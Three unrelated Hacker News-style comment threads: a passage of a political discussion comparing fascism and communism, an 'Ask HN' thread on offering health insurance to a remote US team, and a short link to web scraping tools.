(Then again, that may be a good thing. The current administration does not do much follow-through, so most of the weirder ideas stay rhetoric and don't get implemented. Compare the rise of the Nazi party. Much of the stuff they planned to build in the early years was actually built, from the "People's Radio" to the autobahns. With the organization in place to build, arming up for WWII could be done effectively. If the Nazis were all hype, they would not have been able to do much beyond their borders.)

<comment><USER37> Fascism is private enterprise under total government control. Of course it'll be very effective at getting things done, both the autobahns and the gas chambers. Communism is pretty effective too. It's government-owned enterprise under total government control. The only thing that really changes is who owns the means of production. And, well, under Communism you're de-facto a slave to the state as well. Not having a job was illegal in e.g. the Soviet Union.

The fact that US political establishment is unable to enact quick change is kind of by design, IMO. While they are at each other's throats, they don't have the time to attack We The People. That, in my book, is a good thing.

<comment><USER38> Communism is known for economically collapsing on itself, that's not very efficient or productive.

<comment><USER37> Yes. But it takes decades for it to do so, and in the initial stages it can appear to be quite effective. And as any communist will tell you, "it's not really communism" if it collapses on itself, killing tens of millions of people in the process.

<comment><USER39> We need a Russian to comment with some examples of the exceedingly black humour that developed under communism.

<comment><USER37> Soviet-born Russian-American here. How may I be of service? Some of that humor, BTW, could land you in a labor camp if a secret KGB agent (секретный сотрудник) heard it. So it was only shared with very trusted audiences.

<comment><USER39> Tell me a joke!</comment></comment></comment></comment></comment></comment></comment>


Ask HN: How do you offer health insurance to your remote team? - <AUTHOR> Each person on the team is in a different state in the US, and we've been looking for options but we're thoroughly stumped.  Does anyone have any success stories here?<p>Edit: All employees are full-time, W-2. <comment><USER2> Let them get health insurance through one of the exchanges and then reimburse them for all or portion of it. Tell them to just submit the invoice.

This works until you reach a larger team and have legal requirements to meet. But if you are small with 4 or 5 people or really even 15 this works pretty well.

<comment><USER3> This is exactly what my company does. My company provides a monthly allowance via Zane Health: [http://www.zanebenefits.com/](http://www.zanebenefits.com/) . The employees can choose any plan they want and pay for it. Submit the invoices to the website and get a reimbursement as part of your paycheck up to the allowance. Works out pretty well.

<comment><USER4> How would you deal with non-US residents?

</comment></comment></comment><comment><USER5> The company I'm at uses a 3rd party company to handle payroll, taxes, health insurance, and some level of benefits (like 401k and "discount programs"). According to my understanding I'm a W-2 employee of my company and simultaneously the 3rd party. Because the 3rd party has an office in my state, I get paid via that branch, and pay taxes for my state and not my employer's state. My healthcare plan also differs somewhat from my co-worker's because of state required minimum coverage.

</comment><comment><USER6> Some plans offer a high deductible PPO option, e.g. if you're out of state/out of network then you pay up to $1k deductible and the plan covers the rest. Though that may not be feasible depending on your company size and existing plans. As others suggested, reimbursement may be the easiest route.</comment>


7 Best Web Scraping Software Tools to Acquire Data Without Coding - <AUTHOR> https://www.promptcloud.com/blog/best-web-scraping-software-tools-extract-data <comment><USER2> import.io Kimono VietSpider

:/</comment>